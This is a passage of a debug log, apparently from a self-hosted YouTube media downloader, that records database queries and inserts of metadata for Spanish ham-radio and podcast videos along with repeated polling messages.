dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "124 - BATERIA LITIO RECICLADA 12V CON CAJA ALIEXPRESS", "3fbfbf61-1efe-458a-966f-18b0c59b4a5a", 1839, false, "vdWL5sqfmyk", "https://www.youtube.com/watch?v=vdWL5sqfmyk", 57, "/downloads/music/ea3grn/124 - BATERIA LITIO RECICLADA 12V CON CAJA ALIEXPRESS.m4a", false, false, false, 3, [], 98, ~U[2024-02-03 16:00:41Z], ~U[2026-02-07 21:44:34Z], ~U[2026-02-07 21:44:34Z], "En este video os muestro como reciclar baterias de litio de portatiles viejos para uso en radioafición o en otras cosas.\n\n\nEnlaces:\n\n\nCarcasa bateria con electronica (entre 5 y 8 euros aprox):\nhttps://es.aliexpress.com/item/1005006363363374.html\nhttps://es.aliexpress.com/item/1005006181507294.html\n\n\nSoldador por puntos (alrededor de 40-50 euros):\nhttps://es.aliexpress.com/item/1005006141079313.html\n\n\n\n\n#bateria #radioaficionados #litio #hamradio #preppers #preparacionismo #reciclaje #emergencias\n\n\nContenido del video\n\n\n00:00 - Presentación\n01:17 - Intro canal\n01:35 - Litio-Ion o LiFePo4\n04:41 - Caja de Aliexpress\n09:27 - Montando el pack\n15:44 - BMS y como conectarlo\n16:55 - Contactos de las baterias\n17:38 - Cableado\n19:40 - Encajando\n20:56 - Verificando capacidades\n24:24 - Baterias en serie y reguladores\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "124 - BATERIA LITIO RECICLADA 12V CON CAJA ALIEXPRESS", 1839, false, "vdWL5sqfmyk", "https://www.youtube.com/watch?v=vdWL5sqfmyk", "/downloads/music/ea3grn/124 - BATERIA LITIO RECICLADA 12V CON CAJA ALIEXPRESS.m4a", false, 3, ~U[2024-02-03 16:00:41Z]] 22:44:34.070 [debug] QUERY OK source="sources" db=0.5ms idle=501.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:44:34.071 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:44:34.072 [debug] QUERY OK source="media_items" db=0.5ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1412] 22:44:34.072 [debug] Current batch of media processed. Will check again in 1000ms 22:44:34.989 [debug] Current batch of media processed. Will check again in 1000ms 22:44:35.072 [debug] Current batch of media processed. Will check again in 1000ms 22:44:35.990 [debug] Current batch of media processed. Will check again in 1000ms 22:44:36.073 [debug] Current batch of media processed. Will check again in 1000ms 22:44:36.991 [debug] Current batch of media processed. Will check again in 1000ms 22:44:37.074 [debug] Current batch of media processed. Will check again in 1000ms 22:44:37.992 [debug] Current batch of media processed. Will check again in 1000ms 22:44:38.075 [debug] Current batch of media processed. Will check again in 1000ms 22:44:38.993 [debug] Current batch of media processed. Will check again in 1000ms 22:44:39.076 [debug] Current batch of media processed. Will check again in 1000ms 22:44:39.994 [debug] Current batch of media processed. Will check again in 1000ms 22:44:40.077 [debug] Current batch of media processed. Will check again in 1000ms 22:44:40.995 [debug] Current batch of media processed. Will check again in 1000ms 22:44:41.078 [debug] Current batch of media processed. Will check again in 1000ms 22:44:41.996 [debug] Current batch of media processed. Will check again in 1000ms 22:44:42.079 [debug] Current batch of media processed. Will check again in 1000ms 22:44:42.997 [debug] Current batch of media processed. Will check again in 1000ms 22:44:43.080 [debug] Current batch of media processed. Will check again in 1000ms 22:44:43.998 [debug] Current batch of media processed. Will check again in 1000ms 22:44:44.081 [debug] Current batch of media processed. Will check again in 1000ms 22:44:44.999 [debug] Current batch of media processed. Will check again in 1000ms 22:44:45.082 [debug] Current batch of media processed. Will check again in 1000ms 22:44:46.000 [debug] Current batch of media processed. Will check again in 1000ms 22:44:46.083 [debug] Current batch of media processed. Will check again in 1000ms 22:44:47.001 [debug] Current batch of media processed. Will check again in 1000ms 22:44:47.084 [debug] Current batch of media processed. Will check again in 1000ms 22:44:48.002 [debug] Current batch of media processed. Will check again in 1000ms 22:44:48.085 [debug] Current batch of media processed. Will check again in 1000ms 22:44:49.003 [debug] Current batch of media processed. Will check again in 1000ms 22:44:49.086 [debug] Current batch of media processed. Will check again in 1000ms 22:44:50.004 [debug] Current batch of media processed. Will check again in 1000ms 22:44:50.087 [debug] Current batch of media processed. Will check again in 1000ms 22:44:51.005 [debug] Current batch of media processed. Will check again in 1000ms 22:44:51.088 [debug] Current batch of media processed. Will check again in 1000ms 22:44:51.260 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:52.006 [debug] Current batch of media processed. Will check again in 1000ms 22:44:52.089 [debug] Current batch of media processed. Will check again in 1000ms 22:44:53.007 [debug] Current batch of media processed. Will check again in 1000ms 22:44:53.090 [debug] Current batch of media processed. Will check again in 1000ms 22:44:54.008 [debug] Current batch of media processed. Will check again in 1000ms 22:44:54.091 [debug] Current batch of media processed. Will check again in 1000ms 22:44:55.009 [debug] Current batch of media processed. Will check again in 1000ms 22:44:55.092 [debug] Current batch of media processed. Will check again in 1000ms 22:44:56.010 [debug] Current batch of media processed. Will check again in 1000ms 22:44:56.093 [debug] Current batch of media processed. Will check again in 1000ms 22:44:57.011 [debug] Current batch of media processed. Will check again in 1000ms 22:44:57.094 [debug] Current batch of media processed. Will check again in 1000ms 22:44:58.012 [debug] Current batch of media processed. Will check again in 1000ms 22:44:58.095 [debug] Current batch of media processed. Will check again in 1000ms 22:44:59.013 [debug] Current batch of media processed. Will check again in 1000ms 22:44:59.096 [debug] Current batch of media processed. Will check again in 1000ms 22:45:00.014 [debug] Current batch of media processed. Will check again in 1000ms 22:45:00.097 [debug] Current batch of media processed. Will check again in 1000ms 22:45:00.127 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:45:01.015 [debug] Current batch of media processed. Will check again in 1000ms 22:45:01.098 [debug] Current batch of media processed. Will check again in 1000ms 22:45:02.016 [debug] Current batch of media processed. Will check again in 1000ms 22:45:02.099 [debug] Current batch of media processed. Will check again in 1000ms 22:45:03.017 [debug] Current batch of media processed. Will check again in 1000ms 22:45:03.100 [debug] Current batch of media processed. Will check again in 1000ms 22:45:04.018 [debug] Current batch of media processed. Will check again in 1000ms 22:45:04.101 [debug] Current batch of media processed. Will check again in 1000ms 22:45:05.019 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 7: TEXTO A AUDIO 2.0: ¡Descubre ejemplos fascinantes de temas para podcast como el exposoma y códigos legales! Únete a nuestra discusión sobre cómo crear podcasts rápidamente, añadir música y la importancia de tu contenido. ¡Envíanos tus ideas y participa! #PodcastEnEspañol #Exposoma #CódigoLegal #CreaciónDePodcast #MúsicaParaPodcast #ContenidoCreativo #ComunidadPodcast #IdeasParaPodcast #PodcastRápido #ParticipaEnPodcast", "duration" => 37, "filename" => "/downloads/music/IA mí QUÉ/¿Pódcasts Virales FÁCIL? ¡Te Revelamos el SECRETO para HACERLO!.m4a", "id" => "wfAtjG8G4Kg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/wfAtjG8G4Kg", "playlist_index" => 3, "timestamp" => 1748188712, "title" => "¿Pódcasts Virales FÁCIL? ¡Te Revelamos el SECRETO para HACERLO!", "upload_date" => "20250525"} 22:45:05.020 [debug] QUERY OK source="sources" db=0.6ms idle=1253.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:45:05.021 [debug] QUERY OK source="sources" db=0.5ms idle=1254.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:45:05.023 [debug] QUERY OK source="media_items" db=0.7ms idle=1255.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-25 15:58:32Z], 2] 22:45:05.024 [debug] QUERY OK source="media_items" db=1.0ms idle=1256.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 7: TEXTO A AUDIO 2.0: ¡Descubre ejemplos fascinantes de temas para podcast como el exposoma y códigos legales! Únete a nuestra discusión sobre cómo crear podcasts rápidamente, añadir música y la importancia de tu contenido. ¡Envíanos tus ideas y participa! #PodcastEnEspañol #Exposoma #CódigoLegal #CreaciónDePodcast #MúsicaParaPodcast #ContenidoCreativo #ComunidadPodcast #IdeasParaPodcast #PodcastRápido #ParticipaEnPodcast", "¿Pódcasts Virales FÁCIL? ¡Te Revelamos el SECRETO para HACERLO!", "435128c2-c24d-4c40-908f-055631838539", 37, false, "wfAtjG8G4Kg", "https://www.youtube.com/shorts/wfAtjG8G4Kg", 3, "/downloads/music/IA mí QUÉ/¿Pódcasts Virales FÁCIL? ¡Te Revelamos el SECRETO para HACERLO!.m4a", false, false, true, 2, [], 97, ~U[2025-05-25 15:58:32Z], ~U[2026-02-07 21:45:05Z], ~U[2026-02-07 21:45:05Z], "PARTE 7: TEXTO A AUDIO 2.0: ¡Descubre ejemplos fascinantes de temas para podcast como el exposoma y códigos legales! Únete a nuestra discusión sobre cómo crear podcasts rápidamente, añadir música y la importancia de tu contenido. ¡Envíanos tus ideas y participa! #PodcastEnEspañol #Exposoma #CódigoLegal #CreaciónDePodcast #MúsicaParaPodcast #ContenidoCreativo #ComunidadPodcast #IdeasParaPodcast #PodcastRápido #ParticipaEnPodcast", "¿Pódcasts Virales FÁCIL? ¡Te Revelamos el SECRETO para HACERLO!", 37, false, "wfAtjG8G4Kg", "https://www.youtube.com/shorts/wfAtjG8G4Kg", "/downloads/music/IA mí QUÉ/¿Pódcasts Virales FÁCIL? ¡Te Revelamos el SECRETO para HACERLO!.m4a", true, 2, ~U[2025-05-25 15:58:32Z]] 22:45:05.025 [debug] QUERY OK source="sources" db=0.5ms idle=397.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:45:05.026 [debug] QUERY OK source="media_profiles" db=0.6ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:45:05.026 [debug] QUERY OK source="media_items" db=0.4ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1371] 22:45:05.026 [debug] Current batch of media processed. Will check again in 1000ms 22:45:05.102 [debug] Current batch of media processed. Will check again in 1000ms 22:45:06.027 [debug] Current batch of media processed. Will check again in 1000ms 22:45:06.103 [debug] Current batch of media processed. Will check again in 1000ms 22:45:07.028 [debug] Current batch of media processed. Will check again in 1000ms 22:45:07.104 [debug] Current batch of media processed. Will check again in 1000ms 22:45:08.029 [debug] Current batch of media processed. Will check again in 1000ms 22:45:08.105 [debug] Current batch of media processed. Will check again in 1000ms 22:45:09.030 [debug] Current batch of media processed. Will check again in 1000ms 22:45:09.106 [debug] Current batch of media processed. Will check again in 1000ms 22:45:10.031 [debug] Current batch of media processed. Will check again in 1000ms 22:45:10.107 [debug] Current batch of media processed. Will check again in 1000ms 22:45:11.032 [debug] Current batch of media processed. Will check again in 1000ms 22:45:11.108 [debug] Current batch of media processed. Will check again in 1000ms 22:45:12.033 [debug] Current batch of media processed. Will check again in 1000ms 22:45:12.109 [debug] Current batch of media processed. Will check again in 1000ms 22:45:13.034 [debug] Current batch of media processed. Will check again in 1000ms 22:45:13.110 [debug] Current batch of media processed. Will check again in 1000ms 22:45:14.035 [debug] Current batch of media processed. Will check again in 1000ms 22:45:14.111 [debug] Current batch of media processed. Will check again in 1000ms 22:45:15.036 [debug] Current batch of media processed. Will check again in 1000ms 22:45:15.112 [debug] Current batch of media processed. Will check again in 1000ms 22:45:16.037 [debug] Current batch of media processed. Will check again in 1000ms 22:45:16.113 [debug] Current batch of media processed. Will check again in 1000ms 22:45:17.038 [debug] Current batch of media processed. Will check again in 1000ms 22:45:17.114 [debug] Current batch of media processed. Will check again in 1000ms 22:45:18.039 [debug] Current batch of media processed. Will check again in 1000ms 22:45:18.115 [debug] Current batch of media processed. Will check again in 1000ms 22:45:19.040 [debug] Current batch of media processed. Will check again in 1000ms 22:45:19.116 [debug] Current batch of media processed. Will check again in 1000ms 22:45:20.041 [debug] Current batch of media processed. Will check again in 1000ms 22:45:20.117 [debug] Current batch of media processed. Will check again in 1000ms 22:45:21.042 [debug] Current batch of media processed. Will check again in 1000ms 22:45:21.118 [debug] Current batch of media processed. Will check again in 1000ms 22:45:21.261 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:22.043 [debug] Current batch of media processed. Will check again in 1000ms 22:45:22.119 [debug] Current batch of media processed. Will check again in 1000ms 22:45:23.044 [debug] Current batch of media processed. Will check again in 1000ms 22:45:23.120 [debug] Current batch of media processed. Will check again in 1000ms 22:45:24.045 [debug] Current batch of media processed. Will check again in 1000ms 22:45:24.121 [debug] Current batch of media processed. Will check again in 1000ms 22:45:25.046 [debug] Current batch of media processed. Will check again in 1000ms 22:45:25.122 [debug] Current batch of media processed. Will check again in 1000ms 22:45:26.047 [debug] Current batch of media processed. Will check again in 1000ms 22:45:26.123 [debug] Current batch of media processed. Will check again in 1000ms 22:45:27.048 [debug] Current batch of media processed. Will check again in 1000ms 22:45:27.124 [debug] Current batch of media processed. Will check again in 1000ms 22:45:28.049 [debug] Current batch of media processed. Will check again in 1000ms 22:45:28.125 [debug] Current batch of media processed. Will check again in 1000ms 22:45:29.050 [debug] Current batch of media processed. Will check again in 1000ms 22:45:29.126 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Vamos a montar una carga artificial de 50 ohmios, que incluirá un atenuador de 40dB para tomar muestras de señal, y además tendrá tres resistencias de 100,200 y 400 ohmios para poder probar acopladores de antena o calibrar medidores de ROE. ¿Me acompañais?\n\nCaja\nhttps://www.amazon.es/dp/B07X5K2DQJ\n\nplaca cobre\nhttps://www.amazon.es/gp/product/B08S31MRV6\n\n50ohms\nhttps://es.aliexpress.com/item/32880390842.html\n\n100ohms\nhttps://es.aliexpress.com/item/1005005212992415.html\n\n200ohms\nhttps://es.aliexpress.com/item/4000370455984.html\n\n400ohms\nhttps://es.aliexpress.com/item/4000511307941.html\n\n#radioaficionados #nanoVNA #cargaartificial #flange #resistor #artificial #charge #50ohms #hamradio\n\nContenido del video \n\n00:00 - Presentación\n00:50 - Intro canal\n01:08 - Presentando la idea\n05:17 - Disipacion de calor\n05:49 - Resistencias ubicadas\n07:46 - Metedura de pata\n09:40 - Resistencias soldadas\n10:08 - Montando conectores\n11:18 - Conector N\n11:47 - Midiendo con nanoVNA\n12:55 - NanoVNA a 100,200 y 400 ohmios\n16:07 - Atenuador 40dB\n21:06 - Curvas finales de ROE y atenuación\n25:16 - Calculando la potencia de las resistencias\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2259, "filename" => "/downloads/music/ea3grn/123 - CARGA ARTIFICIAL CON ATENUADOR Y CARGAS PARA ACOPLADORES... CASI NA....m4a", "id" => "hKb_LJxOELU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hKb_LJxOELU", "playlist_index" => 58, "timestamp" => 1706466728, "title" => "123 - CARGA ARTIFICIAL CON ATENUADOR Y CARGAS PARA ACOPLADORES... CASI NA...", "upload_date" => "20240128"} 22:45:29.127 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=454.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:45:29.128 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=361.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:45:29.129 [debug] QUERY OK source="media_items" db=0.7ms idle=362.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-28 18:32:08Z], 3] 22:45:29.131 [debug] QUERY OK source="media_items" db=1.4ms idle=363.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Vamos a montar una carga artificial de 50 ohmios, que incluirá un atenuador de 40dB para tomar muestras de señal, y además tendrá tres resistencias de 100,200 y 400 ohmios para poder probar acopladores de antena o calibrar medidores de ROE. ¿Me acompañais?\n\nCaja\nhttps://www.amazon.es/dp/B07X5K2DQJ\n\nplaca cobre\nhttps://www.amazon.es/gp/product/B08S31MRV6\n\n50ohms\nhttps://es.aliexpress.com/item/32880390842.html\n\n100ohms\nhttps://es.aliexpress.com/item/1005005212992415.html\n\n200ohms\nhttps://es.aliexpress.com/item/4000370455984.html\n\n400ohms\nhttps://es.aliexpress.com/item/4000511307941.html\n\n#radioaficionados #nanoVNA #cargaartificial #flange #resistor #artificial #charge #50ohms #hamradio\n\nContenido del video \n\n00:00 - Presentación\n00:50 - Intro canal\n01:08 - Presentando la idea\n05:17 - Disipacion de calor\n05:49 - Resistencias ubicadas\n07:46 - Metedura de pata\n09:40 - Resistencias soldadas\n10:08 - Montando conectores\n11:18 - Conector N\n11:47 - Midiendo con nanoVNA\n12:55 - NanoVNA a 100,200 y 400 ohmios\n16:07 - Atenuador 40dB\n21:06 - Curvas finales de ROE y atenuación\n25:16 - Calculando la potencia de las resistencias\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "123 - CARGA ARTIFICIAL CON ATENUADOR Y CARGAS PARA ACOPLADORES... CASI NA...", "217cb706-b845-426e-8d10-857b6df56e8c", 2259, false, "hKb_LJxOELU", "https://www.youtube.com/watch?v=hKb_LJxOELU", 58, "/downloads/music/ea3grn/123 - CARGA ARTIFICIAL CON ATENUADOR Y CARGAS PARA ACOPLADORES... CASI NA....m4a", false, false, false, 3, [], 98, ~U[2024-01-28 18:32:08Z], ~U[2026-02-07 21:45:29Z], ~U[2026-02-07 21:45:29Z], "Vamos a montar una carga artificial de 50 ohmios, que incluirá un atenuador de 40dB para tomar muestras de señal, y además tendrá tres resistencias de 100,200 y 400 ohmios para poder probar acopladores de antena o calibrar medidores de ROE. ¿Me acompañais?\n\nCaja\nhttps://www.amazon.es/dp/B07X5K2DQJ\n\nplaca cobre\nhttps://www.amazon.es/gp/product/B08S31MRV6\n\n50ohms\nhttps://es.aliexpress.com/item/32880390842.html\n\n100ohms\nhttps://es.aliexpress.com/item/1005005212992415.html\n\n200ohms\nhttps://es.aliexpress.com/item/4000370455984.html\n\n400ohms\nhttps://es.aliexpress.com/item/4000511307941.html\n\n#radioaficionados #nanoVNA #cargaartificial #flange #resistor #artificial #charge #50ohms #hamradio\n\nContenido del video \n\n00:00 - Presentación\n00:50 - Intro canal\n01:08 - Presentando la idea\n05:17 - Disipacion de calor\n05:49 - Resistencias ubicadas\n07:46 - Metedura de pata\n09:40 - Resistencias soldadas\n10:08 - Montando conectores\n11:18 - Conector N\n11:47 - Midiendo con nanoVNA\n12:55 - NanoVNA a 100,200 y 400 ohmios\n16:07 - Atenuador 40dB\n21:06 - Curvas finales de ROE y atenuación\n25:16 - Calculando la potencia de las resistencias\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "123 - CARGA ARTIFICIAL CON ATENUADOR Y CARGAS PARA ACOPLADORES... CASI NA...", 2259, false, "hKb_LJxOELU", "https://www.youtube.com/watch?v=hKb_LJxOELU", "/downloads/music/ea3grn/123 - CARGA ARTIFICIAL CON ATENUADOR Y CARGAS PARA ACOPLADORES... CASI NA....m4a", false, 3, ~U[2024-01-28 18:32:08Z]] 22:45:29.132 [debug] QUERY OK source="sources" db=0.4ms idle=365.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:45:29.133 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:45:29.133 [debug] QUERY OK source="media_items" db=0.3ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN 